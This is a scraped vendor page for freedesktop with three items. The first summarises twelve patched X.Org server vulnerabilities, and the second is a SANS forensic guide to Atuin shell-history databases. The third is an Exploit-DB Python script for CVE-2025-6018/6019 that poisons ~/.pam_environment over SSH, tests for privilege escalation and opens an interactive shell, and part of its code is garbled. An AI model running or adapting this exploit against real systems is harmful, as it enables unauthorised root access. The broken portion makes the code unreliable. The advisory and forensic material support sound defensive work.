Search/freedesktop
● Vendor

freedesktop

Known CVEs
0
Highest CVSS
—
In KEV
0
Vendor
policykit
Connections
27 relationships
Check your X.Org server version because a dozen vulnerabilities have been patched
Check your X.Org server version because a dozen vulnerabilities have been patched X.Org fixed 12 security flaws in the X server and Xwayland, with the repairs shipping in xorg-server 21.1.25 and xwayland-24.1.14. Nine of the flaws can lead to arbitrary code execution. The other three can crash the server or disclose information. Ten of the 12 entries say an authenticated X client can trigger the flaw, meaning a program the server already accepts a connection from. The entries for CVE-2026-93524 and CVE-2026-93536 do not state that condition. Eleven of the 12 affect both the X server and Xwayland. CVE-2026-93522, a heap buffer overflow in Glamor’s CopyArea code on GPU-accelerated systems, affects only Xwayland. What the bugs are Seven are buffer overflows or out-of-bounds writes, three are use-after-free bugs (the server keeps using memory it already released), one is a double free, and one is an out-of-bounds read. Two flaws depend on extensions the advisory says are on by default: CVE-2026-93515 needs Present and SYNC, and CVE-2026-93519 needs XFIXES and XTEST plus more than 100 active pointer barriers. Two of the fixes finish earlier work. CVE-2026-93520 comes from an incomplete fix in commit a3171732d. CVE-2026-93521 repeats a bug pattern already fixed in RRChangeOutputProperty. The RandR output path got the fix; the provider path did not. What to check If you run the X server or Xwayland, compare your installed version with 21.1.25 and 24.1.14. Each CVE entry links its fix commit on freedesktop.org GitLab.
helpnetsecurity.comOct 7, 2026extracted
Linux Shell Forensic: Let?s Dive Into Atuin!, (Fri, Aug 7th)
UNIX systems (including Linux) are well-known to record a lot of activities in many different locations. But there is one domain where they definitely lack of "modern" logging: shells. Most shells provide an historization of the typed commands through a flat file in the $HOME directory (ex: $HOME/.bash_history). They suffer of multiple problems: History is stored in memory and the file is updated when the shell exits The order of commands is not reliable There is no timestamps (by default) The size of history can be limited (see $HISTFILESIZE) Can be removed/tampered by the user Note that if you use sudo to switch to another user (usually root), events are sent to the classic logging mechanism (syslog or journal): Aug 05 15:30:48 lab0 sudo[211956]: xavier : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/whoami To search across the history, the shell user can use the “reverse-i-search” feature available in Bash (but also other shells). This is the built-in incremental search through your command history, bound to CTRL-R. You hit it, start typing part of a command you ran before, and bash walks backwards through history showing the most recent match as you type — hence "reverse" (newest-first) and "i" for incremental (it updates on every keystroke). xavier@lab0:~$ (reverse-i-search)`grep': dpkg -l | grep curl It’s nice but, again, limited! There are tools that expand the power of reverse-i-search and the shell history by storing everything into a database. One that became popular is called “Atuin”[1]. It enhances your shell history with a SQLite database, and records extra context for every command: The directory it ran in, how long it took, whether it succeeded, which machine and session it came from. Even better, it can also sync your history across all of your machines, end-to-end encrypted. The official Atuin server can be used but, of course, it’s possible to deploy your own server (that's what I do in my infrastructure). From a forensic point of view, this tool is both a gift and a trap for the investigator. If you don’t know that Atuin is used, you’ll maybe loose lot of evidences. But if you spot it, it’s for sure a win! First step to check: Where the artifacts live? Atuin follows XDG paths[2], so check every user's home directory plus root (per-user install): Do not assume the default location. The config location can be overridden with $ATUIN_CONFIG_DIR, and the database, key, and session paths are all individually configurable in config.toml. It's recommended to read the config first. Atuin must be enable at shell level (for every shell, every user). Search for proof-of-activation in the shell RC files: xavier@lab0:~$ grep atuin $HOME/.bashrc . "$HOME/.atuin/bin/env" eval "$(atuin init bash)" Second step: Build your timeline Forensicators love timelines! The main DB table is called “history”: xavier@lab0:~$ sqlite3 history.db SQLite version 3.46.1 2024-08-13 09:16:08 Enter ".help" for usage hints. sqlite> .schema history CREATE TABLE history ( id text primary key, timestamp integer not null, duration integer not null, exit integer not null, command text not null, cwd text not null, session text not null, hostname text not null, deleted_at integer, author text, intent text, shell text, unique(timestamp, cwd, command) ); CREATE INDEX idx_history_timestamp on history(timestamp); CREATE INDEX idx_history_command_timestamp on history( command, timestamp ); CREATE INDEX idx_history_active_timestamp on history(timestamp) where deleted_at is null; CREATE INDEX idx_history_session_timestamp on history(session, timestamp) where deleted_at is null; CREATE INDEX idx_history_cwd_timestamp on history(cwd, timestamp) where deleted_at is null; CREATE INDEX idx_history_hostname_timestamp on history(lower(hostname), timestamp) where deleted_at is null; sqlite> The id is a client-generated identifier used for syncing, and deleted_at is a soft-delete marker. Compared to .bash_history this gives you, per command: a UTC timestamp (nanoseconds since epoch — divide by 1e9), the working directory, the exit code, execution duration, a session ID, the hostname Triage query, read-only: xavier@lab0:~$ sqlite3 "file:history.db?mode=ro&immutable=1" \ "SELECT datetime(timestamp/1000000000,'unixepoch') AS utc, hostname, session, cwd, exit, command FROM history ORDER BY timestamp;" | grep lab0 | head -5 2026-08-05 16:21:05|lab0:xavier|019fd2ba42c7779284d508825c4b2bd4|/home/xavier|0|vi .bashrc 2026-08-05 16:21:16|lab0:xavier|019fd2ba42c7779284d508825c4b2bd4|/home/xavier|0|cat $HOME/.atuin/bin/env 2026-08-05 16:22:53|lab0:xavier|019fd2bc13b174c094100175e489ade5|/home/xavier|0|byobu 2026-08-05 16:22:58|lab0:xavier|019fd2bc264c799196071edfbfe9d452|/home/xavier|0|ll 2026-08-05 16:23:11|lab0:xavier|019fd2bc264c799196071edfbfe9d452|/home/xavier|0|cd footprint Interesting tips to keep in mind during investigations: "session" lets you reconstruct individual terminal sessions: Use "group by" to rebuild what an operator did in one window, in order. If sync is enabled, commands executed on other machines under the same account are pulled into this host's database. A row in this db is not proof the command ran on this host. Next step, investigate deleted and residual data: The "soft-delete" design works is a goldmine: rows deleted via Atuin are marked with "deleted_at" rather than physically purged in many cases. Try to use "WHERE deleted_at IS NOT NULL" to recover "deleted" activity. Standard SQLite carving applies: freelist/unallocated pages and the WAL can hold prior row versions and dropped records (undark, bring2lite, or manual page carving). A good news, the standard flat history file (~/.bash_history or ~/.zsh_history) is still written alongside Atuin, so cross-reference it. Finally, don't forget the "sync" feature: Check the configuration file, if "auto_sync = true" and the user is logged in, history is end-to-end encrypted and pushed to a server (by default: https://api.atuin.sh). If you are authenticated and have the E2E encryption key, history may be pullable back from the server. But a self-hosted server can be used. In this case, more evidences can be found on this server but raw data will also be encrypted. A final note: The configuration file allows to specify commands that will never be recorded: prevent commands matching any of these regexes from being written to history. Note that these regular expressions are unanchored, i.e. if they don't start with ^ or end with $, they'll match anywhere in the command. For details on the supported regular expression syntax, see https://docs.rs/regex/latest/regex/#syntax history_filter = [ "^secret-cmd", "^innocuous-cmd .*--secret=.+", ] prevent commands run with cwd matching any of these regexes from being written to history. Note that these regular expressions are unanchored, i.e. if they don't start with ^ or end with $, they'll match anywhere in CWD. For details on the supported regular expression syntax, see https://docs.rs/regex/latest/regex/#syntax cwd_filter = [ "^/very/secret/area", ] Absence of a command in the database is therefore not evidence it wasn't run. Other gaps: non-interactive shells and scripts (no init hook = no capture), and commands in a sh session without the hook. [1] https://docs.atuin.sh/latest/ [2] https://specifications.freedesktop.org/basedir/latest/ Xavier Mertens (@xme) Senior ISC Handler | SANS Principal Instructor | Freelance Consultant Xameco | PGP Key
isc.sans.eduAug 7, 2026extracted
[local] Linux PAM Environment - Variable Injection Local Privilege Escalation
Exploit Title: Linux PAM Environment - Variable Injection Local Privilege Escalation Exploit Author: @İbrahimsql Exploit Author's github: https://github.com/ibrahmsql Description: PAM pam_env.so module allows environment variable injection via ~/.pam_environment leading to privilege escalation through SystemD session manipulation CVE: CVE-2025-6018, CVE-2025-6019 Vendor Homepage: https://github.com/linux-pam/linux-pam Software Link: https://github.com/linux-pam/linux-pam/releases Version: PAM 1.3.0 - 1.6.0 (vulnerable versions) Category: Local Privilege Escalation Requirements: paramiko>=2.12.0 Usage: python3 cve_2025_6018_professional.py -i target_ip -u username -p password References: https://access.redhat.com/security/cve/CVE-2025-6018 https://bugzilla.redhat.com/show_bug.cgi?id=2372693 https://bugzilla.suse.com/show_bug.cgi?id=1243226 import paramiko import time import sys import socket import argparse import logging from datetime import datetime Setup logging logging.basicConfig( level=logging.INFO, format='%(asctime)s [%(levelname)s] %(message)s', datefmt='%Y-%m-%d %H:%M:%S', handlers=[ logging.FileHandler('cve_2025_6018_exploit.log'), logging.StreamHandler(sys.stdout) ] ) logger = logging.getLogger(name) class CVEExploit: def init(self): self.vulnerable_versions = [ "pam-1.3.0", "pam-1.3.1", "pam-1.4.0", "pam-1.5.0", "pam-1.5.1", "pam-1.5.2", "pam-1.5.3", "pam-1.6.0" ] def check_vulnerability(self, client): """Enhanced vulnerability detection""" logger.info("Starting vulnerability assessment") checks = { "pam_version": "rpm -q pam || dpkg -l | grep libpam", "pam_env": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_env' {} \\; 2>/dev/null", "pam_systemd": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_systemd' {} \\; 2>/dev/null", "systemd_version": "systemctl --version | head -1" } vulnerable = False for check_name, command in checks.items(): logger.info(f"Executing check: {check_name}") try: stdin, stdout, stderr = client.exec_command(command, timeout=10) output = stdout.read().decode().strip() if check_name == "pam_version": for vuln_ver in self.vulnerable_versions: if vuln_ver in output: logger.info(f"Vulnerable PAM version detected: {vuln_ver}") vulnerable = True break elif check_name == "pam_env" and output: logger.info("pam_env.so configuration found") vulnerable = True elif check_name == "pam_systemd" and output: logger.info("pam_systemd.so found - escalation vector available") if output and check_name != "pam_version": logger.debug(f"Command output: {output[:100]}...") except Exception as e: logger.warning(f"Check {check_name} failed: {e}") time.sleep(0.5) return vulnerable def create_malicious_environment(self, client): """Create enhanced .pam_environment file""" logger.info("Creating malicious environment file") payload = '''# CVE-2025-6018 Environment Poisoning XDG_SEAT OVERRIDE=seat0 XDG_VTNR OVERRIDE=1 XDG_SESSION_TYPE OVERRIDE=x11 XDG_SESSION_CLASS OVERRIDE=user XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime SYSTEMD_LOG_LEVEL OVERRIDE=debug''' try: logger.info("Writing .pam_environment file") cmd = f"cat > ~/.pam_environment /dev/null || echo 'denied'", "authorized") ] escalated = False for test_name, command, success_indicator in tests: logger.info(f"Testing: {test_name}") try: stdin, stdout, stderr = client.exec_command(command, timeout=10) output = stdout.read().decode().strip() if success_indicator in output.lower(): logger.info(f"PRIVILEGE ESCALATION DETECTED: {test_name}") escalated = True else: logger.info(f"No escalation detected: {test_name}") except Exception as e: logger.warning(f"Test {test_name} failed: {e}") return escalated def interactive_shell(self, client): """Professional interactive shell""" logger.info("Starting interactive shell session") shell = client.invoke_shell() shell.send("export PS1='exploit$ '\n") time.sleep(1) # Clear buffer while shell.recv_ready(): shell.recv(1024) print("\n--- Interactive Shell ---") print("Commands: 'exit' to quit, 'status' for privilege check") while True: try: command = input("exploit$ ") if command.lower() == 'exit': break elif command.lower() == 'status': stdin, stdout, stderr = client.exec_command("id && groups") print(stdout.read().decode()) continue shell.send(command + "\n") time.sleep(0.5) while shell.recv_ready(): output = shell.recv(1024).decode('utf-8', errors='ignore') print(output, end='') except KeyboardInterrupt: logger.warning("Use 'exit' to quit properly") except Exception as e: logger.error(f"Shell error: {e}") break def run_exploit(self, hostname, username, password=None, key_filename=None, port=22): """Main exploit execution""" logger.info(f"Starting CVE-2025-6018 exploit against {hostname}:{port}") try: # Initial connection client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) logger.info(f"Connecting to {hostname}:{port} as {username}") client.connect(hostname, port=port, username=username, password=password, key_filename=key_filename, timeout=10) logger.info("SSH connection established") # Check vulnerability if not self.check_vulnerability(client): logger.error("Target does not appear vulnerable to CVE-2025-6018/6019") return False logger.info("Target appears vulnerable, proceeding with exploitation") # Create malicious environment if not self.create_malicious_environment(client): logger.error("Failed to create malicious environment") return False logger.info("Reconnecting to trigger PAM environment loading") client.close() time.sleep(2) # Reconnect to trigger PAM client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(hostname, port=port, username=username, password=password, key_filename=key_filename) logger.info("Reconnection successful") # Test privilege escalation if self.test_privilege_escalation(client): logger.info("EXPLOITATION SUCCESSFUL - Privilege escalation confirmed") self.interactive_shell(client) else: logger.warning("No clear privilege escalation detected") logger.info("Manual verification may be required") return True except paramiko.AuthenticationException: logger.error("Authentication failed - check credentials") except paramiko.SSHException as e: logger.error(f"SSH error: {e}") except socket.error as e: logger.error(f"Network error: {e}") except Exception as e: logger.error(f"Unexpected error: {e}") finally: try: client.close() except: pass logger.info("Connection closed") return False def main(): parser = argparse.ArgumentParser( description="CVE-2025-6018/6019 PAM Environment Injection Exploit", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 %(prog)s -i 192.168.1.100 -u testuser -p password123 python3 %(prog)s -i target.com -u admin -k ~/.ssh/id_rsa """ ) parser.add_argument("-i", "--hostname", required=True, help="Target hostname or IP") parser.add_argument("-u", "--username", required=True, help="SSH username") parser.add_argument("-p", "--password", help="SSH password") parser.add_argument("-k", "--key", dest="key_filename", help="SSH private key file") parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)") parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging") args = parser.parse_args() if args.verbose: logging.getLogger().setLevel(logging.DEBUG) if not args.password and not args.key_filename: parser.error("Provide either password (-p) or private key (-k)") # Security warning logger.warning("Use only with proper authorization!") exploit = CVEExploit() success = exploit.run_exploit( hostname=args.hostname, username=args.username, password=args.password, key_filename=args.key_filename, port=args.port ) sys.exit(0 if success else 1) if name == "main": main()
exploit-db.comJul 28, 2025extracted